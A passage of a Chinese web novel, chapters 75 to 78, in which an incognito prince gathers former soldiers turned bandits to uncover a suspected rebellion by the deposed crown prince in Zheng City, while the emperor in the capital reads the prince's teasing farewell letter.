唯一美中不足的,就是张牧来信说,元栋他们很生气,觉得自己走之前都不跟他们打声招呼,很不够朋友。 还说陛下天天派锦衣卫暗中盯梢他,实在受不了,问他能不能早点回来,也叫他消停点。 前两天把阿囡送回她家人身边团聚后,明瑾给他们留下了一笔钱,可以在当地置办一处地段不错的别院,又用加密信的方式给张牧寄回了消息,告诉他自己这边一切平安,兄弟你就在京城好生待着吧,不用担心我。 他一时半会是不会回来的,哈哈哈! “等这场雪停了,咱们就继续上路。”明瑾啃了一口热腾腾的红薯,烫得呼了两口白气,含糊着对其他二人道。 陈叔山好奇问道:“少爷,咱们要去哪儿?” 明瑾勾唇一笑。 “自然是——郑城。” 那位前太子殿下,究竟在暗地里搞什么名堂,他可要好好去瞧一瞧!—— 作者有话说:时间大法好~三个月都过去了,半年还会远吗[狗头叼玫瑰] 第75章 大雍太子殿下 “张小哥, 听说你们是从京城来的?” 明瑾坐在火堆前,手里捧着一根羊骨头,闻言, 饿了几天正忙着填饱肚子的少年抬起头, 抹了把嘴上的油光, 朝对方应了一声。 这里是胡人、大雍人乃至少部分大宛人混居的地带,民风彪悍, 盗匪横行。而他们现在身处的位置, 便是郑城大名鼎鼎的“明光寨”所占据的一处山头。 和他说话那人,则是明光寨的大当家,孙洛,也是曾经与陈叔山文叔他们并肩作战过的昭明军同袍。 这也是他们眼下为何能安生坐在山寨里,还能有顿饱饭吃的原因。 “这个天气, 为什么不待在京城?北边可是会冻死人的啊。”身穿厚皮袄的孙洛感叹了一声, 见明瑾吃得喷香, 豪迈地大手一挥, 叫人再给他盛一碗热腾腾的羊杂汤来。 陈叔山没有告诉这些人明瑾的真实身份,虽然有曾经的同袍情谊在, 但防人之心不可无。 面对孙洛的打探,他主动接过了话头:“我家少爷虽是京城长大,但父母都葬在边关,少爷今年及冠, 便想着无论如何也要前来祭拜一番,了却一桩心事。” 明瑾丢给陈叔山一个赞许的眼神。 这么说可不算错, 因为他的确有这个打算。 虽然郑城并非宁昭公主夫妇主要驻军之地,但大雍边关数郡,哪座城里没有立着他们的长生牌位? 更别提郑城内部, 还有一座著名的昭明军军祠了。 孙洛笑道:“我大你几岁,就斗胆称一句大哥了,为兄这辈子,最佩服的就是忠孝之人,张小兄弟一看就是富贵人家出身,却有这份心,敢千里迢迢冒雪来这边境苦寒之地,佩服!” “来,我敬你们二位一杯!” 明瑾立刻放下手里的羊杂汤,和陈叔山一同起身。 “承蒙孙大哥相救,”他恳切道,“张牧感激不尽!” 说完,便不顾陈叔山阻拦,仰头将一碗酒一饮而尽。 孙洛举碗大笑道:“好,爽快!干了!” 他们相遇时,明瑾几人因为遭遇劫匪,已经连着好几天没好好吃过东西了,全靠陈叔山进山打野味,再加上明瑾雇来的人去四处收集些野果填饱肚子。 但遭遇这些,并非他们不谨慎,事实上,他们选择的路线都力求稳妥,还花钱请了当地有名的镖师护送,只要在当地打听到附近哪条路有劫匪,宁可走远路也会绕开。 用陈叔山的话来说,就是明瑾千金之躯,不可轻易涉险。 明瑾却觉得,他有责任负责同行人的安全,既然把谢婉南和陈叔山他们带出来,那就必须要好好地、全须全尾地带回京城。 因此,在遭遇劫匪时,他们的队伍很顺利地占据了上风。 谁料半山腰天降落石,把劫匪连同他们的马一起砸落山崖,万幸的是,他们的人虽然也有受伤,但倒没什么人员损失。 为了得到及时救治,护送的人一部分原路返回,剩下一部分则跟着他们则继续前进,可没多久,山里又下起雨来,官道垮塌大半……总之一路上倒霉到家,简直不堪回首。 作为队伍中唯一的女性,谢婉南在淋雨、饥饿和赶路劳累的几重磋磨下,很快便发起了高烧。 但当时的队伍里却根本没有草药救治,甚至连个叫她安稳休息的地方都没有。 虽然谢婉南表示,这可能是她此生唯一一次离京游览大雍的机会,能亲眼目睹如此壮丽河山,她纵然是死也能瞑目了。 只愿明瑾将她一路上写下的游记手稿带回谢家,交给她父母,替她转告说女儿不孝,无法尽孝了,但明瑾一向倔脾气,这还远没到山穷水尽的地步,怎么可能就这样认命? 他想过出发前当地人告诉他们,这附近山里的寨子不少都是曾经的昭明军残部组建,便一咬牙,带着陈叔山二人勇闯明光寨,天无绝人之路,碰上了孙洛这位为人仗义的大当家。 现在谢婉南已经躺在了山寨搭建的木屋里,几服药剂下去,烧基本退了大半,而明瑾喝了两碗浊酒,脑袋也微微昏沉。 他坐在火堆旁,撑着下巴,看到那边的陈叔山和孙洛、还有他手底下的一帮汉子凑在一起,热热闹闹地讲着当初的昭明军往事,时不时发出几声豪迈大笑,这才认识不到两天时间,关系就热络得像是共穿一条裤子了。 火光映照着这些汉子们黝黑的脸庞,一张张饱经风霜的脸上满是回忆感慨,明瑾甩了甩脑袋,捧起那碗飘着滚滚热气的羊杂汤,视线投向夜色下屋棚外纷纷扬扬飘落的大雪,不仅幻想起来: 或许多年之前,宁昭公主……他的母亲,还有父亲木帆,也是这样吧。 坐在军营里,和手下的士兵们围炉而坐,分食一锅汤,笑容洋溢地与同袍分享着胜利的喜悦,同时,也在等待着下一场战争的号角吹响。 这一路走来,明瑾见到了太多从前他在京城见不到的人和事,江南的细雨和风养不出边关铁骨铮铮的战士,这里的人半生挣扎在血与风中,宛若沙土里钻出的荒草新芽,精神之坚韧,叫明瑾无论看见多少次,都会忍不住惊叹,原来这世上还有人这样活着。 难怪张牧说过,此生一定要来边关待上几年;也难怪陈叔山会养成那样一副义字当先的性格; 还有先生。 明瑾喝了口汤,感受着那滚烫的热流顺着喉管一路向下,将他整个身子都由内而外地温暖起来,不禁又开始思念起了远在千里之外的那个人。 先生肯定很生他的气,明瑾心虚地想。 但也肯定会担心他。 希望别想到连觉都睡不好,他暗道。 不过,也不能不想,最好白天多想一点,等晚上睡觉前再骂他两句,出出气就行。 他砸吧了一口羊汤,忽然抬头问道:“孙大哥,听说最近郑城里出了些变故,您可知道是怎么回事?” “嗯?” 孙洛半醉半醒地掀起眼皮:“郑城?啊,你问那个啊,没多大事,就是当地那几个狗官又收了城里那几个大户的钱,又准备集结兵马来周边剿匪了呗。” 他打了个大大的哈欠:“隔三差五来一回,说白了,就是做做样子而已,老子都看腻了!” 明瑾却皱起了眉头,直觉没有这么简单。 来到明光寨时,他也有留意过,寨中的青壮满打满算也就两三百号人,放在附近,的确可以算得上是比较大的山寨了,但对比郑城内部的数千官兵,却远远不够看的。 现在明瑾最担心的,就是太子和其母族,与驻守郑城的官员沆瀣一气,联手反叛。 郑城虽非地处险要,但距离城外八十里的位置,可是大雍第二大粮仓、太宁仓的所在地! 太宁仓乃是当初宁昭公主所建,也是昭明军与北边胡人作战时最大的依仗,要是太宁仓失守,晏祁所面临的压力,可就不是一两座城池被攻占那么简单了。 “孙大哥,”这些想法在他行踪飞快地转过了一圈,表面上,明瑾表情如常,恳切地对孙洛说道,“不瞒您说,咱们这些打京城来的人,别的没有,但各地的消息还是颇为灵通的,您可知道,新帝下旨,说各地官员只要剿匪有功,来年便有机会调入京中?” 孙洛将信将疑地摇摇头:“没有。” 明瑾面不改色道:“那现在便是有了。这新上任的皇帝,以前当王爷的时候都杀了不少人,手段可狠了,绝对是个说一不二的主!这新官上任都还三把火,更何况是皇帝呢?皇帝下令剿匪,各地官员哪敢不从呐。” 孙洛还以为他是担心自己,大笑几声道:“张小兄弟有所不知,这郑城的官员啊,个个都是酒囊饭袋!别说剿匪了,叫他们骑个马,都能把他们胆吓破!” 周围山寨的兄弟们也都哄笑起来,明瑾察觉到,他们的神情中有嘲讽,有戏谑,但也有那隐藏极深的一丝不甘心—— 他们毕竟,并非一开始就是匪。 身为大雍士兵,还是大名鼎鼎的昭明军出身,如今沦落到落草为寇的境地,谁能甘心? “再说了,这天高皇帝远的,哪怕京城换一百个皇帝,也管不到郑城。”孙洛满不在乎道,“皇帝老儿和百官在京城过他们的富贵日子,咱们虽然比不上,但也有酒有肉,逍遥自在,兄弟们,你们说是不是啊?” “没错!!!” 众人哄笑起来,纷纷碰碗庆贺,俨然一副今朝有酒今朝醉的狂欢姿态。 但明瑾却摇了摇头,叹息一声。 孙洛皱起了眉头:“怎么,看张小兄弟这表情,是不赞同我说的话了?” 明瑾微微一笑:“非也。我只是在想,孙大哥有勇有谋,纵然一时虎落平阳,龙游浅滩,也定然心怀抱负,想着有朝一日一鸣惊人才对。” 孙洛冷哼一声:“一鸣惊人?” 他喝了一口闷酒,咬牙道:“就那些狗官得过且过的鸟样,就算拿一百只公鸡在他们耳边叫,也叫不醒这些混账!你说,我还能怎的?” 明瑾起身拱手道:“孙大哥有所不知,小弟方才说的那番关于剿匪的话,并非空穴来风。郑城近日,可是从京中来了一位大人物!正是在他的督管下,郑城内部才会出现种种变动,望您别觉得扫兴,小弟只是担心孙大哥和明光寨会不会遭其连累,才特此多说一句。” “哦,是谁?” 孙洛混不在意地问道。 明瑾正色道:“大雍太子殿下。” 现场霎时陷入了一片寂静。 直到陈叔山被呛得咳嗽起来,孙洛才从震惊中猛地回神,死死盯着明瑾问道:“太子?你在说笑?” “孙大哥,小弟怎敢用这等大事开玩笑。”明瑾无奈道。 孙洛起身喝道:“那太子是何等尊贵人物,怎么会来郑城这种地方!怕不是你在胡说八道,故意叫我等提心吊胆吧?” “我张牧愿对天发誓,关于此事,绝无半句虚言!” 明瑾举起手,义正言辞道。 见孙洛表情变幻莫测,他紧接着又添了把火,肃容道:“孙大哥,难道你就不想知道,太子为何要来这郑城吗?”—— 作者有话说:明天争取更新大肥章,助力老草追赶小牛进度[让我康康] 第76章 【一更】 许久不见 “太子来郑城, 关我们明光寨何事?” 孙洛嗤笑着灌了一大口酒:“他爱上哪儿去上哪儿去,老子管不了他,他也管不了老子!” 明瑾摇摇头:“若我说, 他这次来郑城, 其实是为了与胡人商谈, 割让边境国土呢?” 孙洛眼睛一瞪,怒道:“他敢!” 在场可都是曾经为大雍死战不退的昭明军遗部, 要说他们这辈子最恨的, 就是这些恬不知耻的卖国贼,若不是他们,宁昭公主夫妇当初也不会因孤立无援而战死边关,昭明军更不会因此而解散! 旁边有人插.嘴:“他不是太子吗,为什么要干这种事?” “诸位有所不知, ”明瑾开始一本正经地胡说八道, “虽然先帝驾崩了, 新帝登基上位, 但太子可还是原来的太子啊,据说新帝多年未曾娶妻, 依我看,八成是不行。” 陈叔山再次咳得惊天动地。 注意到众人的目光,他忙捧着碗惶恐摆手:“你们聊你们的,我再喝两口汤顺顺气儿。” 明瑾不甚在意地收回目光, 继续对面色奇异的孙洛游说道:“但是我还听说了,新帝有个过继来的儿子, 这一山不容二虎,之前的太子和现在的继子,必定只有一个能当上皇帝。你想想, 太子能甘心吗?” 前太子得了疯病,这可不是什么光彩事情。 明瑾知道晏祁有意限制消息的传播,因此,目前除了大雍一些上层人物知晓此事外,民间的普通百姓,暂时都还不知道前太子出事的消息,新任太子是谁就更不清楚了。 离京城越远,传递消息的速度也越慢,在边境村落,一些上了年纪的人甚至认为宁昭公主还活着。 明瑾在跟他们聊天的时候,他们还会向他这个外来者打听询问宁昭公主身体是否安康,有没有和胡人继续打仗。 “如此一来,这位太子必定要组建自己的势力,郑城是太子母族势力所在,郑城外的太宁仓是当初宁昭公主所建,”明瑾循循善诱道,“若是再加上和胡人联盟,他岂不是便占据了大雍的半壁江山?想要竞争皇位,那可是绰绰有余啊。” 孙洛脸色阴沉,这对于他们来说着实不是个好消息,但他嘴上还是道:“就算你说的没错,可那些狗官都投靠了太子,皇上不急太监急,我们明光寨又能有什么办法?” “覆巢之下无完卵,我看孙大哥一表人才,义薄云天,在这方圆百里内,定然都是鼎鼎有名的好汉!” 明瑾见他似乎有被说动之意,立刻笑眯眯地送上一记马屁,“小弟有一计,不仅能保住明光寨的诸位兄弟,还能叫孙大哥一展宏图,从此脱胎换骨……” 一番酒酣耳热后,众人各自散去休息。 孙洛边上的一位青年低声道:“老大,你真信这小子说的话?” 虽然明瑾说得他们的确十分心动,但如果他说的是真的,这事儿可是牵扯到他们所有人的性命,乃至于大雍最尊贵的那一位! 孙洛剔了剔牙,哼笑道:“这个嘛,自然是不能全信的。日后如何,还要看他接下来进城的表现。” 就让他看看,这姓张的小子究竟有多大的本事,敢夸下如此海口吧! 另一边。 真正的张牧也在京城干着急。 今年冬日的雪下早,大雪和落石切断了边境数城的道路通讯,张牧起初还能保持镇定,每日去羽林军点卯训练值班,到后面,他自己都开始坐不住了。 “这都快两个月没个音信了,那小子,该不会真出什么事了吧?” 他把荀婴和李司唤来家中,一起商量对策。 荀婴脸色不太好看,显然对明瑾和张牧先斩后奏的做法仍心怀不满,但当下最重要的是先联系上明瑾,于是他耐下性子问道:“你和主公最后一次联络,是在什么时候?” “上个月月初,那天我照旧去明家酒楼切了些牛肉,他在牛肉片上传讯给我,说自己已经到了边境,准备再向西走,去郑城。” “郑城?难道说,主公是打算……” 荀婴一愣,随即陷入了沉思。 张牧皱眉道:“郑城怎么了?” 李司忽然开口:“太子的母族郑氏,就是郑城当地最大的士族。” 张牧诧异道:“你怎么会知道这个?” 这话要是荀婴说出口,他一点儿也不会觉得惊讶;但被一直反应比别人慢半拍的李司脱口而出,这就有点儿惊悚了。 他谨慎问道:“郑氏的人跟你们家有仇?” “没有,”李司低落道,“只是最近我上官嫌弃我笨手笨脚,什么都做不好,就只让我去整理卷宗,我恰好翻到了不少关于郑城郑氏的,就记下了。” “谁敢说你笨?除了咱们几个以外,要是有人敢说,老子去把他牙打掉!” 张牧说着就要撸起袖子去找李司那上官算账,被荀婴赶紧劝下了。 “现在不是说这个的时候,还是早日联络上主公要紧,”荀婴心累道,“快坐下!一天天的,就知道打打杀杀。” 张牧悻悻然坐回座位,兀自哼道:“那你说,怎么联络?我们现在连他人都找不到!” “以主公的性子,肯定是路上出现了什么意外,否则绝不会这么久都不传讯回来,”荀婴思索道,“若李司所说为真,那此事,应该与前太子有关。” “他不是疯了吗?” “他没疯。” 突如其来的凝沉嗓音叫几人同时愣住,他们抬头望去,待看到门口转出晏祁那双冷郁金眸时,更是吓得纷纷从座位上跳起。 “陛……陛下!!?” “啊……啊嚏!!!” 明瑾再次狠狠打了个喷嚏。 他揉了揉鼻子,肯定道:“一定是有人在背后偷偷骂我。” 搞不好就是张牧那个家伙。 拄着锄头,他站在道观后院的荒田边上沉思了一会儿人生,觉得肯定不是自己的问题——郑城位于群山环绕之中,向外的道路只有那么一条,现在此路不通,他的信送不出去,怪他咯? 反正也就才一个多月时间,张牧那小子向来没心没肺的,肯定不会当回事的啦。 他喝了口葫芦里的水,被冰得一个哆嗦,赶紧又举起锄头,哼哧哼哧地干起活来。 自打进了郑城,明瑾就和陈叔山兵分两路,各自执行起计划来。 若是太子想要起兵谋反,那必定要先掌控郑城的军械所,再依托郑城为根据地,夺取太宁仓。 就算他说动了明光寨的几百号青壮,叫他们能在关键时刻出力给太子使绊子,但要是太子胆子大些,直接举起叛乱封锁城池,就靠他们这点儿人,还真没有什么好办法。 明瑾的计划就是,先掌握城中太子谋反的证据,暗中记下那些跟随他谋反的官员姓名,再将密信叫张牧转交给先生,叫先生派人带兵过来,与他和陈叔山里应外合,将这帮人一网打尽。 这样的做法,也能避免打草惊蛇,狗急跳墙。 但天有不测风云,谁也没想到今年冬天大雪封路,等路被打通之后,估计都要等到来年春天了。 没办法,明瑾只好先来到这处位于军械所旁边的破烂道观里,跟里面唯一的一位老道士说,自己想要在此借住一段时间,作为报酬,可以帮他把道观后面的地翻一翻,再每日给他烧水做饭。 老道士答应了,还说明瑾与我教有缘,要不要出家做个道士。 明瑾连忙拒绝,但干了几天活后,看着自己脏得一塌糊涂的衣裳,还是十分诚实地换上了那件打满补丁但还算暖和的道袍。 现在的他,乍一看,倒也有几分青年小道的模样了,走在街上,还会有年轻姑娘笑盈盈地找他算命呢。 “张小友,”正想着,老道士从外面回来了,咧着豁牙的嘴,朝他招了招手,“过来,跟你讲件事。” 明瑾一看这老道士白须上沾着的油花,就知道这位一定是又去酒楼里忽悠人骗吃骗喝了。 这道观虽然破烂,但这么多年没倒,全靠老道士一张能把活人说死死人说活的嘴。 且郑城不似江南,信道教者众,这里的人多信佛,佛寺遍地,但道观却只有这么一家,道观香火算不上旺盛,供养天尊和这老道士一人却是绰绰有余。 “你知道,我今日在街上看见了谁?” 明瑾嗯嗯敷衍道:“谁?” “一个年轻人,”老道士大惊小怪道,“身怀天子命格,贵不可言呐!” 明瑾面无表情道:“当初第一次见我时,你也是这么说的。” 还吓了他一跳,以为这老头儿是个有真本事的民间高人,后来发现这位见谁都这么讲,一天能在大街上看见七个公侯八个王爷,剩下的就用元始天尊转世来凑数。 老道士干咳一声,眼神飘忽道:“这次不一样,他是真的有天子命,我还免费给他算了一卦,可惜啊……”他摇头晃脑道,“是个短命鬼。” 明瑾接过他手里的米面,掂量了一下,觉得不对劲。 他把米袋子放在地上,再一翻找,果然从里面挑出了几块压秤的石头。 老道士气得差点跳起来,嘴里骂骂咧咧地诅咒着那个卖给他粮食的黑心商贩,也顾不上什么天子不天子了,扭头就要出去找对方算账。 临走前他丢下一句话:“哦对了,那后生说了,两天后来观里上香,要是老道我不在,你记得招待一下。” 明瑾应下了,又随口问道:“他叫什么名字?” “郑璋。”老道士说。 这郑城里最多的便是姓郑的人,但真正的郑氏族人却只有数百,因此他也没怎么放在心上,留下一个名字便急匆匆出门找人算账去了。 但明瑾却不能不在意这个名字。 前太子姓晏名璋,他才知道这位来了郑城,城里又出现了个叫郑璋的人……世上怎么可能有如此巧合? 第二天,他便找到了正在城中四处打探消息的陈叔山,跟对方说了这件事。 “你觉得,这个郑璋就是晏璋的可能性有多大?”明瑾沉着脸问道。 陈叔山沉思许久,回答道:“属下以为,不足三成。” “为何?” “晏璋虽是假疯,但重病可做不得假,少爷,咱们这些身体康健之人长途跋涉来到此地尚且劳累,更何况大病初愈之人?” 明瑾想起谢婉南的病,觉得有道理,点了点头赞同道:“你说的没错。还有吗?” 陈叔山继续道:“太子应该也清楚,自己一旦被发现,下场定不会比先帝好到哪里去,因此他现在就算不是卧病在床修养,事成之前,也绝不会离开郑家半步,又怎么会有心情在街上闲逛?想必那老道士看见的,只是恰好姓郑名璋之人吧。” 他说的有理有据,但明瑾还是很在意这个名字。 “就算不是太子本人,也有很大可能是与太子有关之人,”最后,他拍板道,“总之,为了以防万一,后天你同我一起待在观内,等看到本尊,便能真相大白了。” “是。” 两日时间一晃而过,谨慎起见,明瑾还叫陈叔山带回来两把菜刀用作防身。 而在城内客栈修养的谢婉南在听说此事后,也强烈要求过来帮忙。 明瑾被她缠得一个头两个大:“你过来做什么?要是连我和陈叔山都搞不定,你岂不是白送么!” “什么叫白送?你可别忘了,这人要真是前太子,那他一眼就能把你和陈大哥认出来,”谢婉南理直气壮道,“别忘了,当初书院里办蹴鞠比赛,你和陈大哥都是在决赛上露过脸的。” 明瑾这才想起此事,立马懊恼地拍了一下脑袋。 见状,谢婉南狡黠一笑:“所以说嘛,你们还是需要我帮忙的,只是幸好你选的是家道观,换做寺庙,我岂不是还得铰了头发才能假扮尼姑?” 明瑾干笑起来,赶紧给这位姑奶奶倒了一杯茶。 “那今天就靠你了,婉南,”他郑重其事道,“我们躲在天尊像后面,你要是有事,就把烛台推倒,我们立刻冲出来救你!” 谢婉南比划了个放心的姿势。 对于自己这位小学妹,明瑾大部分时候还是很佩服的,为人处变不惊,口才更是了得。 可当真见到来人时,饶是谢婉南已经有所准备,也不禁暗暗吃了一惊。 “这位施主……”“怎么是你?” 谢婉南刚开口,就被对面的年轻人用同样吃惊的口吻打断了。 她定了定神,宛然一笑:“许久不见,魏学长。” 魏伯贤显然也没料到,京城与郑城相隔千里,自己居然会在这偏僻城镇的一座破烂道观里,见到曾经同在书院就读的小学妹。 谢婉南的事情当初闹得很大,正好那也是魏伯贤毕业的最后一年,他虽只和这位学妹有过一面之缘,却对她留下了很深的印象。 “你怎么会在这里?”他微微蹙眉,有些警惕地问道。 谢婉南不疾不徐道:“囚鸟不愿身处樊笼,便只有逃离,方能在天地间重获自由。学长竟还不知晓我的志向么?” 魏伯贤见她神情如常,身量清减了许多,好似大病初愈,一身旧道袍也不似作假,想来应该是在这偏远苦寒之地待了不少时日。 他与这位学妹不怎么相熟,想着就算晏祁的人要给他设套,也不会大费周章地把谢家姑娘从京城带到这里,于是也稍稍放松了些心神,笑道:“是我多问了。不过,能在这里见到谢姑娘,可真是缘分呐。” “魏居士说笑,请吧。” 听到外面传来的交谈声,藏在天尊相后的明瑾和陈叔山交换了一个惊疑不定的眼神。 这化名叫“郑璋”的年轻人,竟是魏伯贤? 他怎么会在这里!—— 作者有话说:今晚还有一更!大家可以早点睡,明早再起来看[狗头叼玫瑰] 第77章 【二更】 大雍第一孝子 虽然内心暗暗惊讶, 但谢婉南没忘记,这位今日是来道观上香的。 她果断闭上嘴巴,引着明显对她同样好奇的魏伯贤来到天尊相前, 一副“贫道已不沾俗物, 莫提往事”的云淡风轻模样。 魏伯贤恭恭敬敬地给神像上了三株清香, 起身时,听到他这已经出家的小学妹轻声问道:“贫道见魏居士愁眉不展, 不知, 可是有什么心事?” 明瑾暗暗握拳:问得好,学妹! 魏伯贤动作一顿,随后,长长叹息一声。 他乡遇故知,遇到的还是位清秀貌美的小学妹, 他到底还是放松了警惕, 主动倾诉道:“不瞒谢姑娘, 在下……其实家中遭遇了些变故, 无奈之下,只能远赴他乡, 冀图重振旗鼓。” 谢婉南微微一笑:“那便祝愿魏居士,心想事成了。” 她没有继续追问下去,这叫魏伯贤对她的好感又再度增添了几分,思索间, 他忽然注意到谢婉南秀丽的眉眼,不禁心下一动—— “谢姑娘, ”他情难自禁道,“听说,当初你回家后向父母发誓, 愿终生不嫁侍奉左右,可有此事?” 对于他冒失突兀询问,谢婉南内心恶感顿起,暗道果然就算装得再谦谦君子,本质上这人还是同他那弟弟魏金宝一样,是个轻浮浪荡的家伙。 但表面上,她仍是一派平静:“是的。” “那……” 魏伯贤刚要出声,忽见谢婉南眉头紧锁,顿时脑袋嗡的一声清醒许多,讪笑道:“是我唐突了,谢姑娘,今日叨扰了,在下告辞。” 谢婉南淡淡道:“贫道接下来还有功课,恕不远送。以及,魏居士,您现在应该称呼贫道为道长了。” 魏伯贤有些不甘心地抿了下唇,又道:“道长不好听,还是叫仙姑吧。不知仙姑三日后可有空闲?近日我夜不能寐,正想着时常向天尊敬香,祈祷静心。” 谢婉南感觉到有人在桌案下轻轻拉了拉自己的袍角,本想拒绝的她话锋一转,答应了下来。 魏伯贤得到肯定的回答,兴高采烈地离开了。 明瑾和陈叔山从天尊像后面绕出来,望着他离去的方向,咋舌道:“居然是这个家伙,没想到,还真是一条大鱼。” “怎么样,我表现不错吧?” 褪去了装模作样的道长伪装,谢婉南很快恢复了她平日里那副活泼生动的模样,笑盈盈地向明瑾邀功。 明瑾下意识想伸手从怀里掏钱袋子,这是他被阿囡养出来的坏毛病,只要阿囡一向他撒娇,就主动掏钱给她买买买。 但等他探入怀中摸了个空时,才想起自己的财物早就和那匹可怜的马一起滚落山崖,现在的明大少爷,穷得连根糖葫芦都买不起。 可悲啊! 谢婉南也注意到了他的尴尬,噗嗤笑道:“我又不要靠你养,这几日我在城里给人抄书,也赚了些小钱,吃饭穿衣的足够了,若是你这边需要,我还能再给你点儿。” “不必不必,”明瑾忙道,生怕她再提包养自己的事情,立刻咳嗽一声把话题拉回正经事上,“那个,三日后,还要麻烦你了。” “你想做什么?”谢婉南问道,“我可不想一直应付这家伙。” “既然魏伯贤在这儿,那想必他肯定已经和太子搭上线了,”明瑾说,“甚至很有可能,太子就是他接来郑城的,魏家和太子早就是一丘之貉,魏伯贤想着靠太子翻身,也是很正常的事情。” “所以婉南,我需要你帮我打听到他和太子的计划,越详细越好。” 他的表情凝重:“但这可能会对你造成一定的危险,若是你拒绝,我也可以另找他人,你不必介怀。” 原本一个在郑城只手遮天的郑氏就足够让他头疼了,现在又来一个魏伯贤,对于现在完全和外面联系不上的明瑾几人来说,着实是个雪上加霜的坏消息。 谢婉南冷哼道:“当初我病得那么重,拖累了整个队伍,你也没说要把我丢下,还为了我甘愿冒那么大的风险单枪匹马进了土匪窝,现在你跟我说这个?” 陈叔山在边上默默道:其实少爷不是单枪匹马,他也在呢。 但他识趣地没有出声,只是默默望天,觉得自己这一趟出来,实在是看到也听到了太多不该他知道的东西。 明瑾笑起来:“好,那既然这样,明日我再去一趟城外,找明光寨的人,他们应该有办法找小径翻山出去,只要信能送到隔壁城池,那先生就一定能收到!” 谢婉南也觉得这个办法不错。 但还有一点,她心生疑虑:“你不是说,这次你是偷跑出来的吗?要是被抓回去,陛下不会重罚你吗?” “我给他留信了,不算偷跑——况且,先生怎么舍得罚我?” 明瑾理不直气也壮,说得他自己都快信了:“我都给他立下这么大的功劳了!功过相抵,大不了,我就不要奖赏了呗。” “……这是明、太子殿下给您留的信。” 张牧低着头,老老实实地双手将明瑾交给他的信笺双手递上。 晏祁瞥了他一眼,没有立刻接信,只是低头抿了口茶。 待到张牧的冷汗都快浸湿衣襟,他这才接过信,淡淡道:“你可以走了。” “多谢陛下!” 张牧大大松了口气,如蒙大赦地退下了。但等离开厅堂,他才反应过来,傻眼了:不是,这就是他家啊,他还能走到哪儿去? 荀婴默默旁观了全过程,忍不住在心里叹气。 陛下绝对是在公报私仇。 “知道为什么单独留下你吗?”晏祁头也不抬地问道。 荀婴身体微微一震,立刻躬身行礼道:“草民明白,接下来定会竭尽全力,为陛下排忧解难!” 闻言,晏祁终于抬头看了他一眼。 “那孩子,跟朕说过你的事情,”他说,“你的祖父和母亲,把你教的不错。” 荀婴眼眶一热,抿着唇一言不发,却将身子弯得更深了些。 那么多年来……他寒窗苦读,为母亲的疾病、家中的琐事四处奔走,为的,不就是有朝一日,能将这一身学问报效朝廷,让家里人过上好日子吗? 如今,圣上竟亲口对他说,知道他荀婴的事情。 这是何等殊荣! “那孩子大了,有时候总会有些自己的心思,”晏祁叹了口气,揉了揉眉心,“朕本以为,等他再长大些就好了,没想到,一时放纵,竟叫他胆大包天至此。” 荀婴听得心惊肉跳,张牧可没告诉他明瑾临走前究竟干了什么好事,他只能隐约猜到,可能是同陛下发生了些不愉快。 但听陛下这口吻,主公该不会是……抽了陛下一顿吧? 想到明瑾有时候在晏祁那儿受了憋屈,回来在他们面前骂的那些话,什么“一定要叫他尝尝小爷的厉害”、“迟早用铜头皮带把他抽成陀螺让他服软”……荀婴实在是越想越担忧。 虽然他相信陛下对主公情谊深厚,可再深厚的情谊,也经不起铜头皮带的考验啊。 “但无论如何,他都不能出事,”晏祁不知道荀婴的思绪早已漫游天外,他手里捏着那封信笺,蹙眉道,“郑城如今已经不安全了,以那孩子的性格,若是到了那里,必定会为了朕以身犯险。” 荀婴一点就通,立刻道:“草民愿带人前往郑城,寻回主公,但太宁仓那边,还需陛下派重兵把守。” 晏祁轻轻摇了摇头。 见状,荀婴神情焦急,还想开口再劝,就听晏祁说道:“朕会亲自带兵前去。” “什么?” 荀婴呆住了,下意识道:“那京城这边……?” “朕记得,你之前同瑾儿他们一起去过一趟清沐坊?” 晏祁忽然提起了一件毫不相关之事,但荀婴只是一愣便反应过来,了然道:“您是说,由那位清沐坊的坊主,宁逸先生来假扮皇帝,代替您坐镇京城?” 和聪明孩子说话就是省事。 晏祁赞许地看了他一眼。 注意到荀婴高挑的个头,和身上那股江南士子狂热追求的文绉绉书卷气,他刮了刮杯中茶沫,慢吞吞道:“你也及冠许久,还取了表字,不知,可有婚配?” 荀婴:“…………” 他可不像张牧,立马就反应过来晏祁突然说这番话是出于何种目的,张口便谦逊道未曾婚配,但任凭家里长辈做主。 晏祁显然对他的回答很满意,便赏了他几百两银子打发出门。 荀婴自然是满口谢恩地离开了。 随之而来的,是某种哭笑不得的情绪,和为友人多年付出浇灌终于得到果实的由衷高兴—— 要是这两位在一起后,别再牵扯到旁边的无辜人士,比如他,那就更好了。 望着荀婴恭敬退下的背影,晏祁心道,明瑾身边这几个,也就这个荀婴荀元栋最机灵,看着也舒心。 寒门士子想要在朝中立住跟脚,首当其冲的便是被身居高位的老丈人榜下捉婿,但这条路不适合现在的他。 以他的家世,将来再娶一位书香门第出身的小姐即可,等将来明瑾登基,必定能提拔他成为宰执之臣。 想必这一点,他自己也能想明白。 晏祁收回心神,展开信笺,准备看看明瑾都给自己写了什么。 不可否认,他虽然期待,但动作不免也带了几分怨气——居然过了快半年,他亲自找上门了,才知道有这封信,看来八成是这小兔崽子早就料到他可能为难那姓张的小子,提前写了封信充作免死金牌呢。 在那小混蛋的心里,他就是这种小心眼的人吗? 晏祁板着脸打开信。 看着看着,他的神情缓和了不少。 嗯,看来那孩子也不算太没良心,还知道让自己保重好身体。 虽然当初他给自己下的那包粉都能药翻一头象了。 再往下看,晏祁的目光平静,呼吸却情不自禁地加快了些许。 这小兔崽子,脚软还有闲心给他写情诗……不过,这些诗经里的典故,是这么用的吗? 也不知道都在云英书院里学了些什么歪门邪道。 啧,肯定是丁弘毅教得不行。 看到最后时,晏祁的视线陡然凝固了。 那几行字写得匆忙,看笔墨深浅,也和前面的不大一致,明显是临时添上的。 晏祁死死盯着那一段话,捏着信笺的手不自觉地用力,薄薄的纸张在他指尖颤抖着,几乎要被他当场捏碎。 因为明瑾是这么写的—— 老登,叫你嘴硬!这就是话比活儿硬的下场,知道你生气,这么多年我也很生气,这下咱俩就扯平了(鬼脸) 对了,我走了,注意身体,可别太想我啊!还有,关于没法泄阳.精的事儿,你也不用伤心,反正你都这么大年纪了,也没有娶妻成家抱儿子的打算,况且再过两年就该抱孙子了,看开就好,到时候我给你养老送终,肯定不会叫宫里那些太监欺负你。 落款:大雍第一孝子。 晏祁猛地把信笺攥成了一团,胸膛震动,压抑数月的怒气终于被彻底点燃,变成了压抑不住的阵阵冷笑。 好,好个孝子!!!—— 作者有话说:小明同学是真的很勇[坏笑]屁股完好倒计时章节-1 第78章 是该换种惩罚方式了…… 三日后, 